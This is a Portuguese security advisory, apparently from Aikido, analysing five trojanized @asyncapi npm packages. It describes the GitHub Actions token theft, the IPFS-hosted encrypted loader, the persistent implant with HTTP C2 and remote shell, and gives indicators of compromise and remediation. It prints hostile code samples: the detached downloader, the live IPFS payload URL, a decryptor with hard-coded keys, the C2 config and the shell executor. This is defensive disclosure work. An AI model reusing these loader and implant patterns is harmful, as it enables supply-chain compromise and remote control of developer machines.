Identificamos cinco pacotes trojanizados @asyncapi pacotes publicados em 14-07-2026. O atacante roubou um token de publicação npm explorando uma pull_request_target vulnerabilidade de workflow no repositório do gerador AsyncAPI, então injetou um downloader ofuscado em módulos de runtime normais em quatro pacotes. A importação de qualquer um dos pacotes afetados busca um loader Node.js criptografado do IPFS, o grava em disco como sync.js, e o inicia como um processo separado.
A cadeia termina em um implante persistente com um shell remoto real. O framework de payload se autoidentifica como M-RED-TEAM v6.4 em seus próprios comentários de código. A coleta de credenciais (credential harvesting) e a autopropagação estão presentes no código, mas desabilitadas nesta build. O shell é suficiente para o operador coletar dados e executar comandos arbitrários sem esses recursos.
Os pacotes combinados registram aproximadamente 2,9 milhões de downloads semanais, com @asyncapi/specs sozinho respondendo por cerca de 2,7 milhões.
Como o atacante obteve acesso de publicação
O asyncapi/generator repositório usou uma workflow do GitHub Actions com um pull_request_target trigger. Este trigger é executado com acesso aos Secrets do repositório mesmo quando o workflow faz checkout de código de um pull request externo, um footgun bem conhecido.
Um colaborador identificou a vulnerabilidade e abriu um PR de correção (#2092) em 17 de maio. Ele ainda não havia sido mesclado quase 2 meses depois, quando o ataque ocorreu.
Às 05:08 UTC de 14 de julho, o atacante abriu 37 pull requests contra o repositório do gerador. Um deles, PR #2155, continha JavaScript ofuscado que exfiltrou o token de publicação npm para rentry[.]co. O workflow foi concluído às 05:16 UTC. Com o token em mãos, o atacante enviou commits maliciosos para a next branch às 06:58 UTC e publicou os primeiros pacotes comprometidos às 07:10 UTC. Em seguida, eles pivotaram para asyncapi/spec-json-schemas, enviando 11 commits entre 07:51 e 08:28 UTC para publicar as versões das especificações.
Atribuição
O ataque envolve três sinais sobrepostos que nem todos apontam para o mesmo lugar.
A técnica de acesso inicial (um flood de PRs visando um pull_request_target workflow com um dead-drop rentry[.]co) corresponde a padrões da campanha prt-scan observada anteriormente em ataques semelhantes de roubo de Secrets do GitHub Actions.
O framework do payload se autoidentifica como M-RED-TEAM v6.4 em comentários no código ao longo do código-fonte da fase 3 recuperado. Essa é a etiqueta mais direta que o próprio código atribui a si.
Os nomes dos artefatos e a configuração usam a marca Miasma: o alvo de build é miasma-train-p1, os caminhos de bloqueio e identidade de runtime estão sob ~/.config/.miasma/, os artefatos de persistência são nomeados miasma-monitor, e os certificados de spawn usam a string de formato miasma-spawn-cert-v1. Estes se sobrepõem com o toolkit Miasma anterior, embora um pesquisador da SafeDep observou que os payloads diferem: a build anterior era baseada em Bun com RSA/AES-CBC, propagação ativa e um deadman destrutivo; esta é baseada em Node com secp256k1/AES-GCM, HTTP C2, e esses recursos desativados.
Não podemos determinar, a partir das evidências, se o acesso inicial prt-scan e o payload M-RED-TEAM representam um único operador ou partes separadas. A marca Miasma pode refletir reutilização de código, imitação ou rotulagem deliberadamente incorreta. Nenhuma atribuição definitiva é feita aqui.
Cinco pacotes de runtime carregavam o primeiro estágio
As versões comprometidas:
@asyncapi/specs@6.11.2@asyncapi/specs@6.11.2-alpha.1@asyncapi/generator@3.3.1@asyncapi/generator-helpers@1.1.1@asyncapi/generator-components@0.7.1
O código malicioso não está em um npm lifecycle hook. Ele foi colocado em módulos que são executados durante o uso normal: o specs ponto de entrada, um generator validador, um utilitário auxiliar e um módulo de tratamento de erros de componentes. O payload é executado quando o módulo é carregado, então um simples require() é suficiente para acioná-lo.
Em @asyncapi/specs, o downloader é pré-anexado às exportações reais do esquema:
import { spawn } from 'child_process';
// fs, path, https, os imported above
async function main() {
try {
const child = spawn(
'node',
[
'-e',
`/* obfuscated downloader, ~3 KB, elided */`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
child.unref();
} catch (error) {
console.error(error.message);
}
}
main();
module.exports = {
schemas: {
'2.0.0': require('./schemas/2.0.0.json'),
// ...through 3.1.0
},
};O downloader é executado em um processo filho desanexado. Após chamar child.unref(), o processo pai é encerrado imediatamente e o download continua em segundo plano.
O node -e o payload é ofuscado, mas sua tabela de pesquisa de strings contém a URL IPFS e o nome do arquivo de drop em texto simples:
// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']O branch specs busca o CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Ambos escrevem sync.js para um diretório de dados NodeJS por usuário: ~/Library/Application Support/NodeJS no macOS, %LOCALAPPDATA%\NodeJS no Windows, ~/.local/share/NodeJS no Linux.
Estágio 2: carregadores criptografados do IPFS
Os dois objetos IPFS são carregadores JavaScript ofuscados: 8.243.380 bytes (specs) e 8.254.481 bytes (família de geradores). Cada um deriva uma chave AES-256-GCM via HKDF-SHA256, descriptografa um vault incorporado, reverte uma rotação ASCII imprimível e avalia o resultado. Extraímos a lógica para um descriptografador não executável:
const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
'rt-vault-master-key-32b-aaaaaaaa',
'utf8'
); // 32 bytes
function gcmDecrypt(buf, key) {
const iv = buf.slice(0, 12);
const tag = buf.slice(buf.length - 16);
const ct = buf.slice(12, buf.length - 16);
const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
d.setAuthTag(tag);
return Buffer.concat([d.update(ct), d.final()]);
}
// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
'sha256',
Buffer.from(_km, 'utf8'),
Buffer.alloc(0),
Buffer.from('rt-file-key', 'utf8'),
32
);
const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');
// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;
const stage3 = [...rotSrc]
.map((ch) => {
const c = ch.charCodeAt(0);
return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
? String.fromCharCode(
ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
)
: ch;
})
.join('');As tags de autenticação GCM são válidas para ambas as builds. Cada carregador também contém um sourceBundle campo criptografado com a mesma chave; ele corresponde ao arquivo recuperado do estágio 3 byte a byte. A configuração "baked" usa uma chave separada derivada de rt-baked-key e o mesmo master hard-coded.
Os dois arquivos recuperados do estágio 3:
- Build de specs: 3.088.921 bytes, SHA-256
f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b - Build da família de geradores: 3.093.085 bytes, SHA-256
9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a
A build da família de geradores adiciona uma diferença comportamental: um temporizador que verifica novamente o C2 primário após o failover e retorna quando ele se recupera. Outras diferenças são declarações de lixo geradas.
Ambas as builds incluem uma cadeia de spawn secp256k1 de dois certificados. Ambas as assinaturas são verificadas. A cadeia não impede que esta seed seja executada.
Campos de configuração enganosos
Relatórios iniciais caracterizaram isso como um "safe canary" com base nos valores dos campos de configuração. A configuração "baked" que recuperamos:
{
"config": {
"safeMode": true,
"c2Server": "http://85.137.53.71:8080",
"shellBlacklist": ["killall"],
"batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
},
"target": { "name": "miasma-train-p1", "ecosystem": "npm" },
"actualPersist": false,
"testMode": false,
"toggles": {
"recon": false,
"persist": true,
"propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
"evasion": false,
"metamorphic": false
}
}Nenhum dos três valores de campo se sustenta sob análise de grafo de chamadas:
safeMode: true: o ponto de entrada passa a configuração diretamente para a função de boot e nunca chama osafeModevalidador.actualPersist: false: a função de inicialização lêtoggles.persist, nãoactualPersist.toggles.persistétrue. A persistência é executada.canaryPercent: 5: oBatchDispatchcomando não está implementado e nenhum caminho de seleção de vítima lê este campo. Não tem efeito.
O que o implante faz
Na primeira execução, o payload gera um par de chaves secp256k1 e o armazena em um caminho específico da plataforma, disfarçado como um arquivo de cache do sistema. Ele usa ~/.config/.miasma/run/node.lock para evitar instâncias duplicadas.
Persistência por plataforma:
- macOS: anexa um
nohupbloco a.zshrc,.bashrc, ou.bash_profile - Windows: escreve HKCU
Executevalormiasma-monitor - Linux: escreve
~/.config/systemd/user/miasma-monitor.servicee o habilita. OExecStartestá faltando um wrapper de shell, então a unidade provavelmente falha ao iniciar, mas os arquivos são gravados.
O implante envia beacons para hxxp://85[.]137[.]53[.]71:8080 aproximadamente a cada 30 segundos. Os beacons são assinados e criptografados com a chave pública do atacante. Mesmo com reconhecimento desativado, cada beacon inclui prévias redigidas de PATH, HOME, USER, e HOSTNAME, e verifica a presença de arquivos de configuração do Cursor, Claude e VS Code em /app.
Os comandos são normalmente entregues em um envelope criptografado. Quando nenhum pacote criptografado está presente, o handler retorna a um plaintext comandos array:
async dispatchResponseCommands(resp) {
let commands = [];
if (
this.commandCipher &&
resp.encryptedCommands &&
resp.encryptedCommands.length > 0
) {
for (const env of resp.encryptedCommands) {
try {
commands.push(this.commandCipher.decryptCommand(env));
} catch (e) {
this.sinkError(e);
}
}
} else {
// plaintext fallback, active when cipher absent
commands = resp.commands;
}
for (const cmd of commands) {
await this.handler(cmd);
}
}
Como o C2 é HTTP, um atacante on-path pode injetar comandos por este caminho.
Comando 11 (ShellExec) passa a requisição para child_process.exec(). O único comando na blacklist é killall:
ShellExecutorImpl = class {
constructor(cfg, runner) {
this.blacklist = new Set(
cfg.shellBlacklist
.map(normalizeCmd)
.filter((b) => b.length > 0)
); // shipped config: ["killall"]
this.runner = runner ?? new ExecFileRunner();
}
async exec(req) {
if (!this.isAllowed(req.command)) {
return {
exitCode: 126,
stdout: '',
stderr: '',
}; // DENIED
}
// testMode is false in this seed, so the real shell runs
return new Promise((resolve) => {
import_node_child_process.exec(
[req.command, ...req.args].join(' '),
{
cwd: req.cwd,
timeout: timeoutMs,
maxBuffer: 1 << 20,
windowsHide: true,
},
(err, stdout, stderr) =>
resolve({
exitCode: err?.code ?? 0,
stdout,
stderr,
})
);
});
}
};Comandos de arquivo (list, get, put) são isolados em um caminho hard-coded /sim-fs caminho. O comando de exclusão não está implementado. O shell não possui tal restrição.
As atualizações de payload vêm de duas fontes: um comando do operador fornecendo um novo CID, ou um loop de polling de dois minutos verificando Nostr e Ethereum por uma versão mais recente. As atualizações do Nostr são verificadas por assinatura. Registros do Ethereum são aceitos sem verificação de assinatura (trustUnsignedBlockchain: true). Uma atualização obtida é gravada em disco como um arquivo aleatório .bin/.cache/.dat arquivo, lançada com Node, e permitida para substituir o processo atual.
O que está no código, mas não está ativo
O pacote contém um coletor de credenciais completo cobrindo credenciais de Cloud, tokens de gerenciador de pacotes, chaves SSH/GPG, históricos de shell, navegadores, sistemas CI/CD, ferramentas de desenvolvedor de IA, bancos de dados, carteiras, Containers e gerenciadores de senhas. Ele pode baixar Gitleaks e HackBrowserData para auxiliar na coleta. Nada disso é executado porque toggles.recon é falso; o coletor é encerrado antes de coletar qualquer coisa. O shell pode alcançar o mesmo resultado manualmente.
Vetores de propagação para npm, PyPI e Cargo estão presentes e implementados. Todos os alternadores de propagação são falsos, a única trySpread() chamada é protegida pelo modo persistente (que retorna antes de alcançá-la), e o Propagar comando não está implementado. Nenhuma propagação ocorre.
O motor de mutação, as verificações de evasão, o envenenamento de ferramentas de IA e o deadman switch estão todos desativados. A implementação de limpeza escreve um arquivo marcador em ~/Documents/SIMULATION_WIPE_TRIGGERED.txt em vez de excluir qualquer coisa.
C2 e infraestrutura de suporte
HTTP na porta 8080 é o único canal real de beacon e comando. Os outros protocolos têm funções mais restritas:
- Nostr: entrega atualizações de endereço, registros de atualização de payload assinado e multiendereços de pares
- Ethereum: fornece endereço de serviço somente leitura e registros de atualização
- IPFS: hospeda objetos de payload e dados criptografados
- libp2p / BitTorrent DHT / mDNS: descoberta de pares e gossip; sem tráfego de comando ou beacon
Vários métodos genéricos de upload e comando nos transportes de nível inferior são no-ops nesta compilação.
Indicadores de comprometimento
Pacotes
PackageVersionSHA-256@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab
Rede
- C2:
85[.]137[.]53[.]71:8080, upload::8081, gerenciamento de proxy::8091 - bloco RIPE
85.137.53.0/24, objetoVSYS-AMS, AS43641 - contrato Ethereum
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, ID da cadeia 1 - Relays Nostr:
wss://relay.damus.io,wss://relay.nostr.com/ - Bootstrap DHT:
router.bittorrent.com:6881,dht.transmissionbt.com:6881
Host
- Descartar:
sync.jsno diretório de dados NodeJS por usuário (caminhos acima) - Bloquear:
~/.config/.miasma/run/node.lock - Identidade macOS:
~/Library/Application Support/com.apple.spotlight/index-v2.cache - Identidade Linux:
~/.cache/mesa_shader_cache/gl_cache.bin - Identidade Windows:
%HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat - Persistência Linux:
~/.config/systemd/user/miasma-monitor.service - Valor de execução do Windows:
miasma-monitor
Cripto
- Chave pública secp256k1 do atacante:
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
O que fazer agora
Fazer downgrade para @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, e @asyncapi/generator-components@0.7.0. Remova as cinco versões comprometidas de manifestos, lockfiles, caches, espelhos internos e imagens de build. Procure por sistemas que importaram os módulos afetados, não apenas sistemas onde o pacote foi instalado, já que o implante é executado em require().
Em qualquer host suspeito: isole e preserve o estado volátil primeiro. Procure pelos caminhos de drop, lock, identidade e persistência listados acima, e por processos Node incomuns e desanexados. Verifique conexões com as portas C2 e por atividade Node correlacionada com IPFS, Nostr, Ethereum RPC, DHT ou mDNS.
Trate as credenciais disponíveis para uma máquina de desenvolvedor ou host de build afetado como potencialmente expostas via comandos shell. Rotacione tokens npm, acesso a controle de código-fonte, credenciais de Cloud, Secrets de CI/CD, chaves SSH, chaves de assinatura e sessões de navegador a partir de uma máquina limpa. Reconstrua hosts comprometidos.
O @asyncapi/specs@6.11.2-alpha.1 O tarball ainda pode ser baixado em sua URL direta, apesar de estar ausente dos metadados do registro. Ele precisa ser purgado do armazenamento de backup e da CDN.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Todas as cinco versões comprometidas aparecem como um problema crítico 100/100. Se você ainda não tem uma conta, crie uma e conecte seus repositórios — a cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Aikido Device Protection oferece visibilidade sobre os pacotes instalados nos dispositivos da sua equipe, incluindo bibliotecas, plugins de IDE e dependências de build. Aikido Safe Chain (código aberto) se integra ao seu fluxo de trabalho existente e verifica os pacotes contra o Aikido Intel antes que npm, yarn ou pnpm os instalem.

